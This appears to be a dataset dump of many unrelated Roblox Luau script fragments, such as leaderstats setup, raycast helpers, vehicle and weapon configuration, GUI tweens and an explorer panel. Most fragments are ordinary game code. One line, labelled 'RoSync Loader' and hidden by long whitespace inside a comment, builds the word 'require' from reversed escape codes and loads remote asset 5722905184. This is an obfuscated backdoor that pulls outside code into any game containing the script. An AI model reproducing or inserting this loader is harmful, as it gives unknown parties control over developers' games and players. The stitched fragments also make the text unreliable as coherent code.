Roblox/luau_corpus huggingface dataset:
--What happens when player joins a server

game.Players.PlayerAdded:Connect(function(player)--here player means the player who will join the game
	local leaderstats= Instance.new("Folder")-- This will create a folder when player joins 
	leaderstats.Name= ("leaderstats")
	leaderstats.Parent= player
	
	--now currency
	local cash= Instance.new("IntValue")
	cash.Name= ("Cash")-- change ("Cash") to any word u want, but the brackets and commas
	cash.Parent = leaderstats
	cash.Value = 500 --change the ammount of money u want to give player
	
	
end)
--Made by Luckymaxer

Debris = game:GetService("Debris")

ProjectileNames = {"Water", "Arrow", "Projectile", "Effect", "Rail", "Laser", "Ray", "Bullet", "ParticlePart"}

Functions = {
	
	CreateConfiguration = (function(Configurations, Table)
		for i, v in pairs(Configurations:GetChildren()) do
			if string.find(v.ClassName, "Value") then
				Table[v.Name] = v:Clone()
			elseif v:IsA("Folder") or v:IsA("Configuration") then
				Table[v.Name] = Functions.CreateConfiguration(v, Table)
			end
		end
		return Table
	end),
	
	FindCharacterAncestor = (function(Object)
		if Object and Object ~= game:GetService("Workspace") then
			local Humanoid = Object:FindFirstChild("Humanoid")
			if Humanoid then
				return Object, Humanoid
			else
				return Functions.FindCharacterAncestor(Object.Parent)
			end
		end
		return nil
	end),

	CheckTableForString = (function(Table, String)
		for i, v in pairs(Table) do
			if string.lower(v) == string.lower(String) then
				return true
			end
		end
		return false
	end),
	
	CheckIntangible = (function(Hit)
		if Hit and Hit.Parent then
			if Functions.CheckTableForString(ProjectileNames, Hit.Name) then
				return true
			end
			local ObjectParent = Hit.Parent
			local Character = ObjectParent.Parent
			local Humanoid = Character:FindFirstChild("Humanoid")
			if Humanoid and Humanoid.Health > 0 and ObjectParent:IsA("Hat") then
				return true
			end
		end
		return false
	end),
	
	CastRay = (function(StartPos, Vec, Length, Ignore, DelayIfHit)
		local RayHit, RayPos, RayNormal = game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(StartPos, Vec * Length), Ignore)
		if RayHit and Functions.CheckIntangible(RayHit) then
			if DelayIfHit then
				task.wait()
			end
			RayHit, RayPos, RayNormal = Functions.CastRay((RayPos + (Vec * 0.01)), Vec, (Length - ((StartPos - RayPos).magnitude)), Ignore, DelayIfHit)
		end
		return RayHit, RayPos, RayNormal
	end),
	
	IsTeamMate = (function(Player1, Player2)
		return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
	end),
	
	TagHumanoid = (function(humanoid, player)
		local Creator_Tag = Instance.new("ObjectValue")
		Creator_Tag.Name = "creator"
		Creator_Tag.Value = player
		Debris:AddItem(Creator_Tag, 2)
		Creator_Tag.Parent = humanoid
	end),
	
	UntagHumanoid = (function(humanoid)
		for i, v in pairs(humanoid:GetChildren()) do
			if v:IsA("ObjectValue") and v.Name == "creator" then
				v:Destroy()
			end
		end
	end),
	
	CheckTableForString = (function(Table, String)
		for i, v in pairs(Table) do
			if string.lower(v) == string.lower(String) then
				return true
			end
		end
		return false
	end),
	
	Clamp = (function(Number, Min, Max)
		return math.max(math.min(Max, Number), Min)
	end),
	
	GetPercentage = (function(Start, End, Number)
		return (((Number - Start) / (End - Start)) * 100)
	end),
	
	Round = (function(Number, RoundDecimal)
		local WholeNumber, Decimal = math.modf(Number)
		return ((Decimal >= RoundDecimal and math.ceil(Number)) or (Decimal < RoundDecimal and math.floor(Number)))
	end),
	
}

return Functions
--[[Wheel Alignment]]
	--[Don't physically apply alignment to wheels]
	--[Values are in degrees]
	Tune.FCamber		= -0
	Tune.RCamber		= -0
	Tune.FToe			= 0
	Tune.RToe			= 0
--[=[
	@interface Middleware
	.Inbound ServerMiddleware?
	.Outbound ServerMiddleware?
	@within KnitServer
]=]
type Middleware = {
	Inbound: ServerMiddleware?,
	Outbound: ServerMiddleware?,
}
-----------------------
--| Local Functions |--
-----------------------

local math_abs = math.abs

local function OnCameraChanged(property)
	if property == 'CameraSubject' then
		VehicleParts = {}

		local newSubject = Camera.CameraSubject
		if newSubject then
			-- Determine if we should be popping at all
			PopperEnabled = false
			for _, subjectType in pairs(VALID_SUBJECTS) do
				if newSubject:IsA(subjectType) then
					PopperEnabled = true
					break
				end
			end
			
			-- Get all parts of the vehicle the player is controlling
			if newSubject:IsA('VehicleSeat') then
				VehicleParts = newSubject:GetConnectedParts(true)
			end
			
			if FFlagUserPortraitPopperFix then
				if newSubject:IsA("BasePart") then
					SubjectPart = newSubject
				elseif newSubject:IsA("Model") then
					SubjectPart = newSubject.PrimaryPart
				elseif newSubject:IsA("Humanoid") then
					SubjectPart = newSubject.Torso
				end
			end
		end
	end
end

local function OnCharacterAdded(player, character)
	PlayerCharacters[player] = character
end

local function OnPlayersChildAdded(child)
	if child:IsA('Player') then
		child.CharacterAdded:connect(function(character)
			OnCharacterAdded(child, character)
		end)
		if child.Character then
			OnCharacterAdded(child, child.Character)
		end
	end
end

local function OnPlayersChildRemoved(child)
	if child:IsA('Player') then
		PlayerCharacters[child] = nil
	end
end

local function OnWorkspaceChanged(property)
	if property == 'CurrentCamera' then
		local newCamera = workspace.CurrentCamera
		if newCamera then
			Camera = newCamera
			
			if CameraChangeConn then
				CameraChangeConn:disconnect()
			end
			CameraChangeConn = Camera.Changed:connect(OnCameraChanged)
			OnCameraChanged('CameraSubject')
		end
	end
end
-- (Hat Giver Script - Loaded.)

debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "Future Bandit"
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle" 
		p.formFactor = 0
		p.Size = Vector3.new(2,2,2) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0, -.3, 0)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)
--// All global vars will be wiped/replaced except script

return function(data)
	local gui = script.Parent.Parent--client.UI.Prepare(script.Parent.Parent)
	local frame = gui.Frame
	local frame2 = frame.Frame
	local msg = frame2.Message
	local ttl = frame2.Title
	
	local gIndex = data.gIndex
	local gTable = data.gTable
	
	local title = data.Title
	local message = data.Message
	local scroll = data.Scroll
	local tim = data.Time
	
	local gone = false
	
	if not data.Message or not data.Title then gTable:Destroy() end
	
	ttl.Text = ""
	msg.Text = ""
	
	local function fadeIn()
		gTable:Ready()
		frame.Notify:Play()
		local Tween = game:GetService("TweenService"):Create(frame,TweenInfo.new(0.5,Enum.EasingStyle.Bounce,Enum.EasingDirection.Out),{Position=UDim2.new(0.5,0,0.5,-18)})
		Tween:Play()
		Tween.Completed:Wait()
		ttl.Text = title
		local Tween = game:GetService("TweenService"):Create(frame,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut),{Size=UDim2.new(0,350,0,150)})
		Tween:Play()
		Tween.Completed:Wait()
		game:GetService("TweenService"):Create(ttl,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),{Position=UDim2.new(0,10,0,10)}):Play()
		for i = 1,#message,1 do
			msg.Text = message:sub(1,i)
			game:GetService("RunService").Heartbeat:wait()
		end
	end
	
	local function fadeOut()
		if not gone then
			gone = true
			game:GetService("TweenService"):Create(ttl,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.In),{Position=UDim2.new(0,10,0,-20)}):Play()
			for i = #tostring(message),1,-1 do
				msg.Text = message:sub(1,i)
				game:GetService("RunService").Heartbeat:wait()
			end
			msg.Text = ""
			local Tween = game:GetService("TweenService"):Create(frame,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut),{Size=UDim2.new(0,64,0,64)})
			Tween:Play()
			Tween.Completed:Wait()
			local Tween = game:GetService("TweenService"):Create(frame,TweenInfo.new(0.5,Enum.EasingStyle.Bounce,Enum.EasingDirection.Out),{Position=UDim2.new(0.5,0,0,-100)})
			Tween:Play()
			Tween.Completed:Wait()
			service.UnWrap(gui):Destroy()
		end
	end
	
	gTable.CustomDestroy = function()
		fadeOut()
	end
	
	fadeIn()
	wait(tim or 5)
	if not gone then
		fadeOut()
	end
end
-- ================================================================================
-- LOCAL FUNCTIONS
-- ================================================================================
local function BoostSetup(callback)
	local Speedometer = gui:WaitForChild("Speedometer")
	local Bar = Speedometer:WaitForChild("Bar")
	local SpeedBar = Bar:WaitForChild("SpeedBar")
	
	BoostButton.InputBegan:Connect(function()
		callback(true)
	end)

	BoostButton.InputEnded:Connect(function()
		callback(false)
	end)

	function GuiController:UpdateBoost(boostAmount)
		local boostPercentage = math.clamp(boostAmount/engine._settings.BoostAmount, 0, 1)
		Bar.Position = UDim2.new(-1 + boostPercentage, 0, 0, 0)
		SpeedBar.Position = UDim2.new(1 - 1*boostPercentage, 0, 0, 0)
	end
end -- BoostSetup()
-- Provide a count of the number of UI components in the tool
-- (this allows the client-side code to begin when all expected
-- components have loaded/replicated)

UIComponentCountValue.Value = #_getAllDescendants( Interfaces );
----------------------------------------------------------------------------------------------------
-----------------=[ General ]=----------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
	 TeamKill = true					--- Enable TeamKill?
	,TeamDmgMult = 1					--- Between 0-1 | This will make you cause less damage if you hit your teammate
	
	,ReplicatedBullets = true			--- Keep in mind that some bullets will pass through surfaces...
	
	,AntiBunnyHop = true				--- Enable anti bunny hop system?
	,JumpCoolDown = 1.5					--- Seconds before you can jump again
	,JumpPower = 50						--- Jump power, default is 50
	
	,RealisticLaser = true				--- True = Laser line is invisible
	,ReplicatedLaser = true				
	,ReplicatedFlashlight = true
	
	,EnableRagdoll = true				--- Enable ragdoll death?
	,TeamTags = true					--- Aaaaaaa
	,HitmarkerSound = false				--- GGWP MLG 360 NO SCOPE xD
	,Crosshair = false					--- Crosshair for Hipfire shooters and arcade modes
	,CrosshairOffset = 5				--- Crosshair size offset
-------------------------
HUB2.Modes.M.Text = carSeat.AWD.Value and "AWD" or "RWD"

HUB2.Modes.MouseButton1Click:connect(function()
	carSeat.AWD.Value = not carSeat.AWD.Value
	HUB2.Modes.M.Text = carSeat.AWD.Value and "AWD" or "RWD"
end)

 
while wait(.5) do
	handler:FireServer('updateSpeed')
end
-- Return lines unindented by heuristic;
-- otherwise return null because:
-- * props include a multiline string
-- * text has more than one adjacent line
-- * markup does not close
function dedentLines(input: Array<string>): Array<string> | nil
	local output: Array<string> = {}

	while #output < #input do
		local line = input[#output + 1]

		if hasUnmatchedDoubleQuoteMarks(line) then
			return nil
		elseif isFirstLineOfTag(line) then
			if not dedentMarkup(input, output) then
				return nil
			end
		else
			table.insert(output, dedentLine(line))
		end
	end

	return output
end

return dedentLines
--[=[
	Syncs the value from `from` to `to`.
	@param from ValueObject<T>
	@param to ValueObject<T>
	@return MaidTask
]=]
function ValueObjectUtils.syncValue(from, to)
	local maid = Maid.new()
	to.Value = from.Value

	maid:GiveTask(from.Changed:Connect(function()
		to.Value = from.Value
	end))

	return maid
end
--Possible Boolean Values on Top--

script.Parent.ProximityPrompt.Triggered:Connect(function()
script.Parent.Sound:Play() --actual function--
end)
-- Make the Inventory, which holds the ScrollingFrame, the header, and the search box
InventoryFrame = NewGui('Frame', 'Inventory')
InventoryFrame.BackgroundTransparency = BACKGROUND_FADE
InventoryFrame.BackgroundColor3 = BACKGROUND_COLOR
InventoryFrame.Active = true
InventoryFrame.Visible = false
InventoryFrame.Parent = MainFrame

VRInventorySelector = NewGui('TextButton', 'VRInventorySelector')
VRInventorySelector.Position = UDim2.new(0, 0, 0, 0)
VRInventorySelector.Size = UDim2.new(1, 0, 1, 0)
VRInventorySelector.BackgroundTransparency = 1
VRInventorySelector.Text = ""
VRInventorySelector.Parent = InventoryFrame

local selectorImage = NewGui('ImageLabel', 'Selector')
selectorImage.Size = UDim2.new(1, 0, 1, 0)
selectorImage.Image = "rbxasset://textures/ui/Keyboard/key_selection_9slice.png"
selectorImage.ScaleType = Enum.ScaleType.Slice
selectorImage.SliceCenter = Rect.new(12,12,52,52)
selectorImage.Visible = false
VRInventorySelector.SelectionImageObject = selectorImage

VRInventorySelector.MouseButton1Click:Connect(function()
	vrMoveSlotToInventory()
end)
--[=[
	@param onFlush ({T}) -> nil
	@return TaskQueue<T>
	Constructs a new TaskQueue.
]=]
function TaskQueue.new<T>(onFlush: ({T}) -> nil)
	local self = setmetatable({}, TaskQueue)
	self._queue = {}
	self._flushing = false
	self._flushingScheduled = false
	self._onFlush = onFlush
	return self
end
--[[
	Function called when leaving the state
]]
function ServerGame.onLeave(stateMachine, event, from, to)
	for _, connection in pairs(connections) do
		connection:Disconnect()
	end

	RoomManager.resetRooms()
end

return ServerGame
-- Updating the leaderboard
while wait(1) do
	-- Deletes everything until we make a frame
	for _, plrFrame in pairs(playerListFrame.PlayerHolder:GetChildren()) do
		if plrFrame:IsA("Frame") then
			plrFrame:Destroy()
		end
	end
	
	-- Making a frame for the player
	for i, plr in pairs(game.Players:GetPlayers()) do
		local template = script:WaitForChild("Template"):Clone()
		template.Name = plr.Name
		template.PlayerPicture.Image = game.Players:GetUserThumbnailAsync(plr.UserId,Enum.ThumbnailType.HeadShot,Enum.ThumbnailSize.Size420x420)
		template.PlayerPicture.PlayerName.Text = plr.Name
		template.Parent = playerListFrame.PlayerHolder
		template.Position = UDim2.new(0.5,0,0.5,0)
	end
	
	if #game.Players:GetPlayers() >= 7 then
		playerListFrame.PlayerHolder.CanvasSize = UDim2.new(0,0,1.05 + ((#game.Players:GetPlayers()-7) * .15),0)
	else
		playerListFrame.PlayerHolder.CanvasSize = UDim2.new(0,0,0,0)
	end
end
--RGB Colors
local redV = 255 --If you want a different color change this. (Must understand RGB)
local greenV = 0
local blueV = 0
--generate bad words in ScreenGui.TextBox
local TextBox = script.Parent.Parent.TextBox
local TextLabel = script.Parent.Parent.TextLabel
local Button = script.Parent.Parent.Button
--// Touch Connections
L_3_:WaitForChild('Humanoid').Touched:connect(function(L_307_arg1)
	local L_308_, L_309_ = SearchResupply(L_307_arg1)
	if L_308_ and L_17_ then
		L_17_ = false
		L_102_ = L_24_.Ammo
		L_103_ = L_24_.StoredAmmo * L_24_.MagCount
		L_104_ = L_24_.ExplosiveAmmo
		if L_57_:FindFirstChild('Resupply') then
			L_57_.Resupply:Play()
		end
		wait(15)
		L_17_ = true
	end;
end)
-- Libraries
local Libraries = Tool:WaitForChild 'Libraries'
local MoveUtil = require(script.Parent:WaitForChild 'Util')
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
---- Option Bindables

do
	local optionCallback = {
		Modifiable = function(value)
			for i = 1,#actionButtons do
				actionButtons[i].Obj.Visible = value and Option.Selectable
			end
			cancelReparentDrag()
		end;
		Selectable = function(value)
			for i = 1,#actionButtons do
				actionButtons[i].Obj.Visible = value and Option.Modifiable
			end
			cancelSelectDrag()
			Selection:Set({})
		end;
	}

	local bindSetOption = explorerPanel:FindFirstChild("SetOption")
	if not bindSetOption then
		bindSetOption = Create('BindableFunction',{Name = "SetOption"})
		bindSetOption.Parent = explorerPanel
	end

	bindSetOption.OnInvoke = function(optionName,value)
		if optionCallback[optionName] then
			Option[optionName] = value
			optionCallback[optionName](value)
		end
	end

	local bindGetOption = explorerPanel:FindFirstChild("GetOption")
	if not bindGetOption then
		bindGetOption = Create('BindableFunction',{Name = "GetOption"})
		bindGetOption.Parent = explorerPanel
	end

	bindGetOption.OnInvoke = function(optionName)
		if optionName then
			return Option[optionName]
		else
			local options = {}
			for k,v in pairs(Option) do
				options[k] = v
			end
			return options
		end
	end
end

function SelectionVar()
	return Selection
end

Input.InputBegan:connect(function(key)
	if key.KeyCode == Enum.KeyCode.LeftControl then
		HoldingCtrl = true
	end
	if key.KeyCode == Enum.KeyCode.LeftShift then
		HoldingShift = true
	end
end)

Input.InputEnded:connect(function(key)
	if key.KeyCode == Enum.KeyCode.LeftControl then
		HoldingCtrl = false
	end
	if key.KeyCode == Enum.KeyCode.LeftShift then
		HoldingShift = false
	end
end)

while RbxApi == nil do
	RbxApi = GetApiRemote:Invoke()
	wait()
end

explorerFilter.Changed:connect(function(prop)
	if prop == "Text" then
		rawUpdateList()
	end
end)

CurrentInsertObjectWindow = CreateInsertObjectMenu(
	GetClasses(),
	"",
	false,
	function(option)
		CurrentInsertObjectWindow.Visible = false
		local list = SelectionVar():Get()
		for i = 1,#list do
			pcall(function() Instance.new(option,list[i]) end)
		end
		DestroyRightClick()
	end
)
-- constants

local STAT_SCRIPT	= ServerScriptService.StatScript

local REMOTES	= ReplicatedStorage.Remotes
local MODULES	= ReplicatedStorage.Modules
	local CONFIG		= require(MODULES.Config)
	local PROJECTILE	= require(MODULES.Projectile)
	local DAMAGE		= require(MODULES.Damage)
--MainFunction
function module:CreateCredits()
	cf:ClearPage(creditsFrame)
	local totalY = 0
	for _, updateGroup in pairs(credits) do
		local aspectRatio = 6
		for i,v in pairs(updateGroup) do
			local label
			if i == 1 then
				label = template1:Clone()
				aspectRatio = v[1]
				label.BackgroundColor3 = Color3.fromRGB(95, 95, 95)
				label.TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
				label.TextLabel.Text = v[2]
				label.Parent = creditsFrame
			else
				label = template2:Clone()
				label.Parent = creditsFrame
				label.UIAspectRatioConstraint.AspectRatio = aspectRatio
				label.BackgroundColor3 = cf:GetLabelBackgroundColor(i)
				label.PlrName.Text = v[1]
				label.PlayerImage.Image = cf:GetUserImage(cf:GetUserId(v[1]))
				local labelSizeX = label.PlayerImage.AbsoluteSize.Y
				label.PlayerImage.Size = UDim2.new(0,labelSizeX,1,0)
				for i = 1,3 do
					local descLabel = label:FindFirstChild("Desc"..i)
					if descLabel then
						local desc = v[2][i]
						if desc then
							descLabel.Text = desc
						else
							descLabel.Text = ""
						end
						local xOffset = labelSizeX*1.15
						local yScalePos
						local yScaleSize
						local yScaleSize2
						if aspectRatio <= 5 then
							yScalePos = 0.33+((i-1)*0.25)
							yScaleSize = 0.255
							yScaleSize2 = 0.31
						else
							yScalePos = 0.36+((i-1)*0.25)
							yScaleSize = 0.26 -- Size
							yScaleSize2 = 0.32 -- Pos
						end
						descLabel.Position = UDim2.new(0, xOffset, yScalePos, 0)
						descLabel.Size = UDim2.new(0.75, 0, yScaleSize, 0)
						label.PlrName.Position = UDim2.new(0, xOffset, label.PlrName.Position.Y.Scale, label.PlrName.Position.Y.Offset)
						label.PlrName.Size = UDim2.new(0.75, 0, yScaleSize2, 0)
					end
				end
			end
			label.Name = "Label"
			label.Visible = true
			totalY = totalY + label.AbsoluteSize.Y
		end
	end
	creditsFrame.CanvasSize = UDim2.new(0,0,0,totalY)
end



return module
--SSMR.Rotation = SSMR.Rotation + Vector3.new(23,40,66)
SSMR.Name = "MR"
SSMR.Transparency = 1
SSMR.CFrame = FR.CFrame
SSMR.Attachment.Rotation = Vector3.new(0,0,90)


local SSL = SSML:Clone()
SSL.Parent = script.Parent.Parent.Parent.LW
SSL.Attachment.Rotation = Vector3.new(0,0,90)
SSL.CFrame = SSML.CFrame

local xSSL = SSML:Clone()
xSSL.Parent = script.Parent.Parent.Parent.LW
xSSL.Rotation = xSSL.Rotation + Vector3.new(0,0,-90)
xSSL.Name = "WheelML"
xSSL.CFrame = SSML.CFrame
xSSL.Attachment.Rotation = Vector3.new(0,0,0)

local SSR = SSMR:Clone()
SSR.Parent = script.Parent.Parent.Parent.RW
SSR.Attachment.Rotation = Vector3.new(0,0,90)
SSR.CFrame = SSMR.CFrame

local xSSR = SSMR:Clone()
xSSR.Parent = script.Parent.Parent.Parent.RW
xSSR.Name = "WheelMR"
xSSR.CFrame = SSMR.CFrame
xSSR.Attachment.Rotation = Vector3.new(0,0,0)

local RLSS = Instance.new("HingeConstraint",SSMR)
local LLSS = Instance.new("HingeConstraint",SSML)

RLSS.Attachment0 = SSR.Attachment
RLSS.Attachment1 = SSMR.Attachment
LLSS.Attachment0 = SSL.Attachment
LLSS.Attachment1 = SSML.Attachment
--[[ Last synced 4/6/2021 12:02                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
-- handles all the events incoming from the client

local keyModule = require(script.Parent:WaitForChild("Game Logic").KeyModule)

local function cleanupCharacter(char)
    
    -- drop the tools in the spot
    if char:FindFirstChild("HumanoidRootPart") then
        keyModule.DropTools(player,game.Workspace.Map,char.HumanoidRootPart.Position)
        print("Tools Dropped")
    end

    -- remove the tag from their player
    if player:FindFirstChild("Contestant") then
        player.Contestant:Destroy()
        print ("contestant tag dropped")
    elseif player:FindFirstChild("Piggy") then
        player.Piggy:Destroy()
        print ("piggy tag dropped")
    end
end

local function onCharacterAdded(char)
    -- drop all the tools that the player is holding
    char.Humanoid.Died:Connect(cleanupCharacter)
    
end

local function onPlayerAdded(player)
        -- add a tag to players when joining the game; this tag is removed when players click on 'play'
        -- prevents AFK players from joining the game
        local inMenu = Instance.new("BoolValue")
        inMenu.Name = "InMenu"
        inMenu.Parent = player    

        -- this function fires when the character spawns into the game (i.e. after the die / reset their character
        player.CharacterAdded:Connect(onCharacterAdded)
end
-- Objects
local settingsDir = script.Settings

function getSetting (name)
	return settingsDir and settingsDir:FindFirstChild(name) and settingsDir[name].Value
end
-- Spawn up to a amount of flies at the beginning

local Model = script.Parent
local Amount = Model.Configuration.Amount

local Fly = Model.FireFly:Clone() -- Clone a fly from the start
Model.Center.CenterPart.Transparency = 1 -- Make the center part invisible. It has no purpose when the game runs

if Amount.Value > 1 then
	for i = 1, Amount.Value-1 do -- Spawn up to Amount new flies
		newFly = Fly:Clone()
		newFly.Position = Model.Center.CenterPart.Position
		newFly.Parent = Model
	end
end